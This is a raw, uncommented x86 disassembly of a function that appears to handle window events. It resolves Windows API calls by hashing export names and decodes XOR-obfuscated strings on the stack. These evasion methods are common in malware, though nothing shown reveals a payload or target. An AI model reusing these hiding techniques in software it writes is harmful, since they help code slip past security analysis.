mov ecx, 0x4db0b0
call fcn.004b8aa0
test al, al
je 0x4b6785
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x4b343f88
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b6254
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b6237
cmp edx, 0x2c5ad9d3
je 0x4b625a
inc ebx
add esi, 4
jmp 0x4b6227
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d5860]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov ebp, dword [eax + edi]
movups xmmword [esp + 0x450], xmm0
add ebp, edi
mov dword [esp + 0x490], 0x58373e59
movaps xmm0, xmmword [0x4d6010]
xor esi, esi
movups xmmword [esp + 0x460], xmm0
mov byte [esp + 0x494], 0
movaps xmm0, xmmword [0x4d5af0]
movups xmmword [esp + 0x470], xmm0
movaps xmm0, xmmword [0x4d6230]
movups xmmword [esp + 0x480], xmm0
push esi
lea ecx, [esp + 0x455]
call fcn.004b68b0
lea ecx, [esp + 0x450]
movzx eax, byte [eax]
push eax
call fcn.004b6890
push esi
lea ecx, [esp + 0x455]
mov bl, al
call fcn.004b68b0
inc esi
mov byte [eax], bl
cmp esi, 0x43
jb 0x4b62c2
push 0x43
lea ecx, [esp + 0x455]
call fcn.004b68b0
lea ecx, [esp + 0x451]
mov byte [eax], 0
call fcn.004b68a0
push 5
push eax
call ebp
jmp 0x4b6785
cmp eax, 0xfa2
jne 0x4b6354
lea eax, [ecx - 0x28]
cmp eax, 0xa0
ja 0x4b6785
lea eax, [edx - 0x190]
cmp eax, 0x1b
ja 0x4b6785
cmp byte [0x4db018], 0
sete byte [0x4db018]
jmp 0x4b6785
cmp eax, 0xfa3
jne 0x4b645d
lea eax, [ecx - 0xe6]
cmp eax, 0x82
ja 0x4b6785
lea eax, [edx - 0x190]
cmp eax, 0x1b
ja 0x4b6785
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xba4801bf
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b63c1
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b63a4
cmp edx, 0xa5d5d79a
je 0x4b63c7
inc ebx
add esi, 4
jmp 0x4b6394
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d73f0]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x498], xmm0
add edx, edi
mov dword [esp + 0x4d8], 0x26d6403
movaps xmm0, xmmword [0x4d7ef0]
xor ecx, ecx
movups xmmword [esp + 0x4a8], xmm0
mov byte [esp + 0x4dc], 0
movaps xmm0, xmmword [0x4d6de0]
movups xmmword [esp + 0x4b8], xmm0
movaps xmm0, xmmword [0x4d7ae0]
movups xmmword [esp + 0x4c8], xmm0
nop
mov al, byte [esp + 0x498]
xor byte [esp + ecx + 0x499], al
inc ecx
cmp ecx, 0x43
jb 0x4b6430
push 5
lea eax, [esp + 0x49d]
mov byte [esp + 0x4e0], 0
push eax
call edx
jmp 0x4b6785
cmp eax, 0x1389
jne 0x4b6490
lea eax, [ecx - 0x28]
cmp eax, 0x140
ja 0x4b6785
lea eax, [edx - 0x109]
cmp eax, 0x36
ja 0x4b6785
mov dword [0x4db7d0], 1
jmp 0x4b6785
cmp eax, 0x138a
jne 0x4b6785
lea eax, [ecx - 0x28]
cmp eax, 0x140
ja 0x4b6785
lea eax, [edx - 0x149]
cmp eax, 0x36
ja 0x4b6785
mov byte [esp + 0x144], 0x34
mov al, 0x45
xor al, byte [esp + 0x144]
mov cl, 0x44
mov byte [esp + 0x145], al
mov ch, 0x57
mov al, byte [esp + 0x144]
mov dl, 0x43
xor cl, al
mov byte [esp + 0x14d], 0
xor ch, al
mov byte [esp + 0x146], cl
mov ah, 0x64
mov byte [esp + 0x14a], ch
mov dh, 5
mov byte [esp + 0x14d], 0
mov bl, 0x50
lea ecx, [esp + 0x69c]
mov bh, 0x67
xor dl, al
xor bl, al
mov byte [esp + 0x147], dl
xor ah, al
mov byte [esp + 0x148], bl
xor dh, al
mov byte [esp + 0x149], ah
xor bh, al
mov byte [esp + 0x14b], dh
mov byte [esp + 0x14c], bh
call fcn.004b8a80
lea ecx, [esp + 0x145]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b6550
sub ecx, edx
lea eax, [esp + 0x145]
push ecx
push eax
lea ecx, [esp + 0x6a4]
call fcn.004b8710
mov bh, 0x63
mov byte [esp + 0x270], 0
mov cl, 0x37
mov byte [esp + 0x268], bh
mov ch, 0x11
mov byte [esp + 0x270], 0
mov dl, 7
xor cl, bh
xor ch, bh
mov byte [esp + 0x26a], cl
mov al, 0x5a
mov byte [esp + 0x26e], ch
mov bl, 0x29
lea ecx, [esp + 0x269]
mov ah, 0x56
mov dh, 0x1b
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x26b], dl
xor ah, bh
mov byte [esp + 0x269], al
xor dh, bh
mov byte [esp + 0x26c], bl
mov byte [esp + 0x26f], dh
lea edx, [ecx + 1]
mov byte [esp + 0x26d], ah
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b65e0
sub ecx, edx
lea eax, [esp + 0x269]
push ecx
push eax
lea ecx, [esp + 0x6a4]
call fcn.004b7e50
mov byte [esp + 0x1d8], 0x66
mov al, 2
xor al, byte [esp + 0x1d8]
mov cl, 0x2d
mov byte [esp + 0x1d9], al
mov ah, 0x54
mov al, byte [esp + 0x1d8]
mov bh, cl
xor ah, al
mov byte [esp + 0x1e1], 0
mov dl, 0x12
mov byte [esp + 0x1dd], ah
mov ch, 0x2f
mov byte [esp + 0x1e1], 0
mov dh, 0x3c
xor cl, al
xor ch, al
mov byte [esp + 0x1da], cl
mov bl, 0x2e
mov byte [esp + 0x1de], ch
xor dl, al
lea ecx, [esp + 0x69c]
xor bl, al
mov byte [esp + 0x1db], dl
xor dh, al
mov byte [esp + 0x1dc], bl
xor bh, al
mov byte [esp + 0x1df], dh
lea eax, [esp + 0x1d9]
mov byte [esp + 0x1e0], bh
push eax
call fcn.004b8aa0
test al, al
je 0x4b676f
push 0x61
lea ecx, [esp + 0x18]
mov byte [esp + 0x18], 0x4f
call fcn.004b6890
push 0x45
lea ecx, [esp + 0x18]
mov byte [esp + 0x19], al
call fcn.004b6890
push 0x57
lea ecx, [esp + 0x18]
mov byte [esp + 0x1a], al
call fcn.004b6890
push 0x63
lea ecx, [esp + 0x18]
mov byte [esp + 0x1b], al
call fcn.004b6890
push 0x66
lea ecx, [esp + 0x18]
mov byte [esp + 0x1c], al
call fcn.004b6890
push 0x78
lea ecx, [esp + 0x18]
mov byte [esp + 0x1d], al
call fcn.004b6890
push 0x4b
lea ecx, [esp + 0x18]
mov byte [esp + 0x1e], al
call fcn.004b6890
push 0x5a
lea ecx, [esp + 0x18]
mov byte [esp + 0x1f], al
call fcn.004b6890
mov byte [esp + 0x1c], al
xor esi, esi
mov byte [esp + 0x1d], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x19]
call fcn.004b68b0
lea ecx, [esp + 0x14]
movzx eax, byte [eax]
push eax
call fcn.004b6890
push esi
lea ecx, [esp + 0x19]
mov bl, al
call fcn.004b68b0
inc esi
mov byte [eax], bl
cmp esi, 8
jb 0x4b6720
push 8
lea ecx, [esp + 0x19]
call fcn.004b68b0
lea ecx, [esp + 0x15]
mov byte [eax], 0
call fcn.004b68a0
push eax
lea ecx, [esp + 0x6a0]
call fcn.004b75a0
lea ecx, [esp + 0x69c]
call fcn.004b7630
mov dword [0x4db7d0], 2
mov edi, dword [0x4db870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0x1ddddb34
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b67cd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b67b0
cmp edx, 0xcce29cc7
je 0x4b67d3
inc ebx
add esi, 4
jmp 0x4b67a0
mov eax, dword [ebp + edi + 0x24]
push 0
push 0
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4db870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x4a77dc5b
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b683d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b6820
cmp edx, 0x6aa39316
je 0x4b6843
inc ebx
add esi, 4
jmp 0x4b6810
mov eax, dword [ebp + edi + 0x24]
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov ecx, dword [esp + 0x834]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cadd9
add esp, 0x82c
ret